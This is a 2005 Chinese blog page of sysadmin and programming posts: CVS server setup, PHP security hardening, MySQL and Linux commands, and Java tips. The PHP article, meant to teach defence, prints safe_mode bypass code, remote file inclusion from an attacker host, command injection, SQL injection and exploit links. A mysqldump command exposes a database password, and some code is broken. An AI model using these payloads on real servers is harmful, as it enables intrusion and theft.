Linux 下 cvs 服务器设置 指南
http://www.blogcn.com/user44/javatech/index.html
| |
|
2005-7-20
Linux下CVS配置指南
CVS服务器设置指南
我整理的这篇文章大部分内容是我在Red Hat Linux AS4.0 验证过的，希望对你有帮助。 服务器的安装略过不提，因为安装了开发工具的话默认就已经有了CVS。就算没有，更新软件包就可以搞定，除非你一定要安装最新版本。
1． 首先创建用于CVS的组和用户:
#groupadd cvs
#useradd cvsroot -g cvs
#passwd cvsroot
OK，用户已经建立好了，cvsroot就是我们做CVS操作使用的。
2． 修改配置文件:
#more /etc/services | grep cvspserver
看看是否有:
cvspserver 2401/tcp #CVS client/server operations
cvspserver 2401/udp #CVS client/server operations
这2行。系统自带了CVS时，这2行也已经有了，只需要确认一下。如果没有，请自己加上去。
3. 然后必须创建启动脚本:
#vi /etc/xinet.d/cvspserver
内容如下:
service cvspserver
{
disable = no
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/bin/cvs
server_args = -f --allow-root=/home/cvsroot pserver
log_on_success += USERID
log_on_failure += USERID
}
其中server指定CVS可执行文件路径，默认安装就是/usr/bin/cvs。server_args指定源代码库路径及认证方式等，例子中把源代码存放在cvsroot的主目录中，也可以另外指定路径，但必须注意权限设置，pserver是密码认证方式，这种方式的安全性要差一些，但操作起来比较简单。请注意每行等号左右都有一个空格，否则无法启动服务。
4． 初始化CVS
切换到cvsroot用户，然后进行初始化:
#cvs -d /home/cvsroot init
这个路径应该与cvspserver文件中指定的路径相同，初始化后会在此路径下面创建CVSROOT目录，存放用于CVS管理的一些文件。此时重新启动xinetd服务，CVS服务器应该能够启动了。:
#service xinetd restart
当然，重新启动计算机也可以。确认是否启动:
#netstat -nlp
如果能看到2401端口，说明已经正常启动，没有的话请重新检查配置过程是否有错误或者遗漏。最后还必须检查防火墙的设置，把2401端口打开。
5． 用户管理
CVS默认使用系统用户登录，为了系统安全性的考虑也可以使用独立的用户管理。CVS用户名和密码保存在CVSROOT目录下的passwd文件中，格式为:
用户名::密码::系统用户
也就是说，它把CVS用户映射到系统用户，这样我们就可以通过系统用户的权限设置来分配给用户不同的权限，而不需要让用户知道系统用户名和密码。 passwd文件默认并不存在，我们必须自己创建。文件中的密码字段使用MD5加密，不幸的是CVS没有提供添加用户名的命令，所以我们借用Apache的命令来完成这项工作:
#htpasswd passwd username
这个命令为username指定密码，并保存在passwd中，文件不存在时会自动创建。htpasswd命令不是为CVS而设，因此总有一些遗憾，它不能自动添加映射到的用户名，不过没关系，我们设置好密码后，自己把这部分加上。我的做法是映射到cvsroot用户，如果需要映射其他的用户，请注意给相应的目录设置好权限，否则CVS用户可能无法访问源代码仓库。要彻底防止使用系统帐号登陆，可以编辑CVSROOT目录下的config文件，把:
#SystemAuth=no
这一行前面的#去掉，CVS就不会验证系统用户了，否则当用户名不在passwd文件中时，CVS会进行系统用户的验证。此外还必须配置读写权限，使用CVSROOT目录下的readers和writers文件进行这个工作。这2个文件默认也是没有的，没关系，自己创建就可以了。readers文件记录拥有只读权限的用户名，每行一个用户；writers文件记录拥有读写权限的用户名，也是每行一个用户。注意， readers文件比writers优先，也就是说出现在readers中的用户将会是只读的，不管writers文件中是否存在该用户。配置完毕，先测试一下:
#cvs -d “:server::[email protected]::/home/cvsroot” login
这里假设用户名是username，本机登陆。出现密码提示，输入正确的密码后，登陆成功。如果提示访问被拒绝，请检查用户权限、目录权限以及防火墙设置。建议设置环境变量CVSROOT:
#export CVSROOT=:server::[email protected]::/home/cvsroot
以后就不需要输入-d参数了，但-d参数会覆盖这个环境变量的设置。
6． 源代码仓库的备份和移动
基本上，CVS的源代码仓库没有什么特别之处，完全可以用文件备份的方式进行备份。需要注意的只是，应该确认备份的过程中没有用户提交修改，具体的做法可以是停止CVS服务器或者使用锁等等。恢复时只需要把这些文件按原来的目录结构存放好，因为CVS的每一个模块都是单独的一个目录，与其他模块和目录没有任何瓜葛，相当方便。甚至只需要在仓库中删除一个目录或者文件，便可以删除该模块的一些内容，不过并不建议这么做，使用CVS的删除功能将会有一个历史记录，而对仓库的直接删除不留任何痕迹，这对项目管理是不利的。移动仓库与备份相似，只需要把该模块的目录移动到新的路径，便可以使用了。如果不幸在备份之后有过一些修改并且执行了提交，当服务器出现问题需要恢复源代码仓库时，开发者提交新的修改就会出现版本不一致的错误。此时只需要把 CVS相关的目录和文件删除，即可把新的修改提交。
7． 更进一步的管理
CVSROOT目录下还有很多其他功能，其中最重要的就是modules文件。这个文件定义了源代码库的模块，下面是一个例子:
Linux
Linux
Kernel
Linux/kernel
这个文件的内容按行排列，每一行定义一个模块，首先是模块名，然后是模块路径，这是相对于CVS根目录的路径。它定义了两个模块，第一个是Linux模块，它位于Linux目录中，第二个是Kernel模块，这是Linux模块的子模块。 modules文件并非必须的，它的作用相当于一个索引，部分CVS客户端软件通过它可以快速找到相应的模块，比如WinCVS。
8． 协同开发的问题
默认方式下，CVS允许多个用户编辑同一个文件，这对一个协作良好的团队来说不会有什么问题，因为多个开发者同时修改同一个文件的同一部分是不正常的，这在项目管理中就应该避免，出现这种情况说明项目组内部没有统一意见。而多个开发者修改文件的不同部分，CVS可以很好的管理。如果觉得这种方式难以控制，CVS也提供了解决办法，可以使用cvs admin -l进行锁定，这样一个开发者正在做修改时CVS就不会允许其他用户checkout。这里顺便说明一下文件格式的问题，对于文本格式，CVS可以进行历史记录比较、版本合并等工作，而二进制文件不支持这个操作，比如word文档、图片等就应该以二进制方式提交。对于二进制方式，由于无法进行合并，在无法保证只有一个用户修改文件的情况下，建议使用加锁方式进行修改。必须注意的是，修改完毕记得解锁。从1.6版本开始，CVS引入了监视的概念，这个功能可以让用户随时了解当前谁在修改文件，并且CVS可以自动发送邮件给每一个监视的用户告知最新的更新。
9． 建立多个源代码仓库
如果需要管理多个开发组，而这些开发组之间不能互相访问，可以有2个办法::
a．共用一个端口，需要修改cvspserver文件，给server_args指定多个源代码路径，即多个—allow-root参数。由于xinetd的 server_args长度有限制，可以在cvspserver文件中把服务器的设置重定向到另外一个文件，如:
server = /home/cvsroot/cvs.run
然后创建/home/cvsroot/cvs.run文件，该文件必须可执行，内容格式为:
#!/bin/bash
/usr/bin/cvs -f --allow-root=/home/cvsroot/opensources --allow-root=/home/cvsroot/devsources pserver
注意此时源代码仓库不再是/home/cvsroot，进行初始化的时候要分别对这两个仓库路径进行初始化，而不再对/home/cvsroot路径进行初始化。
b． 采用不同的端口提供服务
重复第2步和第3步，为不同的源代码仓库创建不同服务名的启动脚本，并为这些服务名指定不同的端口，初始化时也必须分别进行初始化。
javatech 发表于
>2005-7-20 16:01:59 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
PHP安全配置
摘要
web服务器的安装问题是一个非常现实的问题,我们发现对于php有很多的安全问题存在。
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = [email protected]
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高：
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
?>
执行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id|mail
[email protected]
这将id执行的结果发送给 [email protected] 。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
#
注意，下面这两个必须是不存在的，或者它们的属主和本脚本的属主是一样
＄script="/tmp/script123";
＄cf="/tmp/cf123";
＄fd = fopen(＄cf, "w";
fwrite(＄fd, "OQ/tmp
Sparse=0
R＄*" . chr(9) . "＄#local ＄@ ＄1 ＄: ＄1
Mlocal, P=/bin/sh, A=sh ＄script";
fclose(＄fd);
＄fd = fopen(＄script, "w";
fwrite(＄fd, "rm -f ＄script ＄cf; ";
fwrite(＄fd, ＄cmd);
fclose(＄fd);
mail("nobody", "", "", "",
"-C＄cf";
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride
All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104
Jul 20 01:25 .
drwxr-xr-x 16 root root 384
Jul 18 12:02 ..
-rw-r--r-- 1 root root
4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data
41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is
not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on
line 1
如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：
safe_mode_gid = On
设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、`ls
-l`这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path
中或者用完整路径来包含）包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始，本指令可以接受和 include_path
指令类似的风格用分号隔开的路径，而不只是一个目录。
指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir
= /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir
= /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以
PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。
注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用
putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars
中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order
= "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：
//test_1.php
if (＄pass == "hello"
＄auth = 1;
if (＄auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞： http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals
= Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。
解决方法：
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断：
//test_2.php
if (!(＄str = readfile("＄filename")) {
echo("Could not open file:
＄filename
\n";
exit;
}
else {
echo ＄str;
}
?>
由于攻击者可以指定任意的＄filename，攻击者用如下的请求就可以看到/etc/passwd：
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身：
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法：
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错：
Warning: open_basedir restriction in effect. File is in wrong directory in xxx
on line xx.
使用safe_mode模式也能避免这种问题，前面已经讨论过了。
4、包含文件
极易受攻击的代码片断：
//test_3.php
if(file_exists(＄filename))
include("＄filename";
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如 http://attack/attack.txt 的内容是 /etc"?>，那么如下的请求就可以在目标主机执行命令ls
/etc：
http://victim/test_3.php?filename= http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
//test_4.php
include("＄lib/config.php";
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开）
＄file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG
）
＄file_size #上传文件的大小
＄file_name #上传文件的原始名称
＄file_type #上传文件的类型
推荐使用：
＄HTTP_POST_FILES['file']['tmp_name']
＄HTTP_POST_FILES['file']['size']
＄HTTP_POST_FILES['file']['name']
＄HTTP_POST_FILES['file']['type']
这是一个最简单的文件上传代码：
//test_5.php
if(isset(＄upload) && ＄file != "none" {
copy(＄file,
"/usr/local/apache/htdocs/upload/".＄file_name);
echo "文件".＄file_name."上传成功！点击 href=\"＄PHP_SELF\">继续上传";
exit;
}
?>
charset=gb2312">
上传文件:
size="30">
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里：
http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt
然后可以用如下请求读取口令文件：
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用＄HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
php_flag engine off
#如果是php3换成php3_engine off
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出，详细的描述见：
http://www.securityfocus.com/bid/4303
//test_6.php
system("traceroute ＄a_query",＄ret_strs);
?>
由于程序没有过滤＄a_query变量，所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令：
http://victim/test_6.php?a_query=www.example.com;cat
/etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。
解决方法：
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的，小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题：
select * from login where user='＄user' and pass='＄pass'
攻击者可以用户名和口令都输入1' or 1='1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET,
POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了：
select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'
从而避免了此类sql_inject攻击。
对于数字类型的字段，很多程序员会这样写：
select * from test where id=＄id
由于变量没有用单引号扩起来，就会造成sql_inject攻击。幸亏MySQL功能简单，没有sqlserver等数据库有执行命令的SQL语句，而且PHP的mysql_query()函数也只允许执行一条SQL语句，所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错，泄漏系统的一些信息，或者一些意想不到的情况。
解决方法：
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段，变量也要用单引号扩起来，MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户，只允许对自己的库进行操作，这也避免了程序出现问题被
SELECT INTO OUTFILE ... 这种攻击。
8、警告及错误信息
PHP默认显示所有的警告及错误信息：
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用，可以根据警告信息马上找到程序错误所在。
正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本所在的物理路径，为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方，反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的，即不给攻击者泄漏物理路径，又能让自己知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache，注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
9、disable_functions
如果觉得有些函数还有威胁，可以设置php.ini里的disable_functions（这个选项不能在httpd.conf里设置），比如：
disable_functions = phpinfo, get_cfg_var
可以指定多个函数，用逗号分开。重启apache后，phpinfo,
get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var，这两个函数容易泄漏服务器信息，而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的，它可以禁用某些类，如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置，只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制，这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀，不是目录名。也就是说
"open_basedir = /dir/incl" 也会允许访问 "/dir/include"
和 "/dir/incls"，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如："open_basedir
= /dir/incl/"。
可以设置多个目录，在Windows中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时，父目录中的open_basedir路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户，除了这两个用户，给其它用户能够执行和访问的东西应该越少越好，所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉，否则在linux下可以用/lib/ld-linux.so.2
/bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里，这个工作比较容易实现，否则，这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信，所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作，
2、去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL，可以使access-log包含PHP代码，那么把包含文件指向access-log就可以执行那些PHP代码，从而获得本地访问权限。
如果有其它虚拟主机，也应该相应去掉该日志文件其它用户的读权限。
当然，如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。
javatech 发表于
>2005-7-14 18:17:56 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
MySQL数据库的升级，关于权限升级
mysql_fix_privilege_tables --password=root_password
javatech 发表于
>2005-7-14 11:19:05 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
Linux查询RPM包是否安装的命令
rpm -qa | grep -i libxml2
javatech 发表于
>2005-7-14 11:08:18 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
linux分卷压缩命令
tar cvf - 目录 | split -b 650m
javatech 发表于
>2005-7-14 10:54:07 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
MySQL删除外键的命令
ALTER TABLE `sys_log` DROP FOREIGN KEY `sys_log_urlid`
javatech 发表于
>2005-7-14 10:48:55 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
MySQL数据库的备份导出
全部导出
c:\mysql\bin\mysqldump -uroot -p -a -A -c -Q --add-drop-table > mysql.sql.sql
单数据库的导出
c:\mysql\bin\mysqldump -uroot -p -a -c -Q --add-drop-table yonghang > yonghang.sql
/usr/local/mysql/bin/mysqldump -uforum21cnec -pforum133-21-cnec -S/var/lib/mysql/mysql.sock -a -c -Q --add-drop-table forum21cnec > forum21cnec.sql
javatech 发表于
>2005-7-14 10:48:03 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
MySQL数据库权限的刷新命令
FLUSH PRIVILEGES;
javatech 发表于
>2005-7-14 10:47:17 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
mysql到4.1以上版本后PHP不能链接数据库的问题
用户phpMyAdmin时，数据库mysql4.1以上版本连接时出现Client does not support authentication protocol问题解决办法
shell> mysql
Client does not support authentication protocol requested
by server; consider upgrading MySQL client
官方的说法是
MySQL 4.1 and up uses an authentication protocol based on a password hashing algorithm that is incompatible with that used by older clients. .....
如果你升级mysql到4.1以上版本后遇到以上问题,请先确定你的mysql client 是4.1或者更高版本.(WINDOWS下有问题你就直接跳到下面看解决方法了,因为MYSQL 在WINDOWS是client和server一起装上了的)
请使用以下两种方法之一
其一:
mysql> SET PASSWORD FOR
-> 'some_user'@'some_host' = OLD_PASSWORD('newpwd');
其二:
mysql> UPDATE mysql.user SET Password = OLD_PASSWORD('newpwd')
-> WHERE Host = 'some_host' AND User = 'some_user';
mysql> FLUSH PRIVILEGES;
上面红色的部分请按自己实际情况修改....
这样做后,连接就会正常了@!
javatech 发表于
>2005-7-14 10:46:28 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
关于JTree展开所有的结点的代码
public void expandAll(JTree tree, boolean expand) {
TreeNode root = (TreeNode)tree.getModel().getRoot();
// Traverse tree from root
expandAll(tree, new TreePath(root), expand);
}
private void expandAll(JTree tree, TreePath parent, boolean expand) {
// Traverse children
TreeNode node = (TreeNode)parent.getLastPathComponent();
if (node.getChildCount() >= 0) {
for (Enumeration e=node.children(); e.hasMoreElements(); {
TreeNode n = (TreeNode)e.nextElement();
TreePath path = parent.pathByAddingChild(n);
expandAll(tree, path, expand);
}
}
// Expansion or collapse must be done bottom-up
if (expand) {
tree.expandPath(parent);
} else {
tree.collapsePath(parent);
}
}
javatech 发表于
>2005-7-14 10:42:18 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
如何读取和加载JAR中的属性文件
类名：Test.java
读取
URL test = Test.class.getResource("Test.xml";
FileInputStream file = new FileInputStream(test.getFile());
属性读取：
Properties prop = new Properties();
URL test = Test.class.getResource("Test.xml";
FileInputStream file = new FileInputStream(test.getFile());
//FileInputStream input = new FileInputStream(f);
prop.load(input);
input.close();
javatech 发表于
>2005-7-14 10:41:16 [全文] [评论] [引用] [推荐] [档案] [推给好友] [收藏到网摘]
|
|
|
2005-7-14
用JAVA代码编写的30条建议
(1) 类名首字母应该大写。字段、方法以及对象（句柄）的首字母应小写。对于所有标识符，其中包含的所有单词都应紧靠在一起，而且大写中间单词的首字母。例如：
ThisIsAClassName
thisIsMethodOrFieldName
若在定义中出现了常数初始化字符，则大写static final基本类型标识符中的所有字母。这样便可标志出它们属于编译期的常数。
Java包（Package）属于一种特殊情况：它们全都是小写字母，即便中间的单词亦是如此。对于域名扩展名称，如com，org，net或者edu等，全部都应小写（这也是Java 1.1和Java 1.2的区别之一）。
(2) 为了常规用途而创建一个类时，请采取"经典形式"，并包含对下述元素的定义：
equals()
hashCode()
toString()
clone()（implement Cloneable）
implement Serializable
(3) 对于自己创建的每一个类，都考虑置入一个main()，其中包含了用于测试那个类的代码。为使用一个项目中的类，我们没必要删除测试代码。若进行了任何形式的改动，可方便地返回测试。这些代码也可作为如何使用类的一个示例使用。
(4) 应将方法设计成简要的、功能性单元，用它描述和实现一个不连续的类接口部分。理想情况下，方法应简明扼要。若长度很大，可考虑通过某种方式将其分割成较短的几个方法。这样做也便于类内代码的重复使用（有些时候，方法必须非常大，但它们仍应只做同样的一件事情）。
(5) 设计一个类时，请设身处地为客户程序员考虑一下（类的使用方法应该是非常明确的）。然后，再设身处地为管理代码的人考虑一下（预计有可能进行哪些形式的修改，想想用什么方法可把它们变得更简单）。
(6) 使类尽可能短小精悍，而且只解决一个特定的问题。下面是对类设计的一些建议：
■一个复杂的开关语句：考虑采用"多形"机制
■数量众多的方法涉及到类型差别极大的操作：考虑用几个类来分别实现
■许多成员变量在特征上有很大的差别：考虑使用几个类
(7) 让一切东西都尽可能地"私有"--private。可使库的某一部分"公共化"（一个方法、类或者一个字段等等），就永远不能把它拿出。若强行拿出，就可能破坏其他人现有的代码，使他们不得不重新编写和设计。若只公布自己必须公布的，就可放心大胆地改变其他任何东西。在多线程环境中，隐私是特别重要的一个因素--只有private字段才能在非同步使用的情况下受到保护。
(8) 谨惕"巨大对象综合症"。对一些习惯于顺序编程思维、且初涉OOP领域的新手，往往喜欢先写一个顺序执行的程序，再把它嵌入一个或两个巨大的对象里。根据编程原理，对象表达的应该是应用程序的概念，而非应用程序本身。
(9) 若不得已进行一些不太雅观的编程，至少应该把那些代码置于一个类的内部。
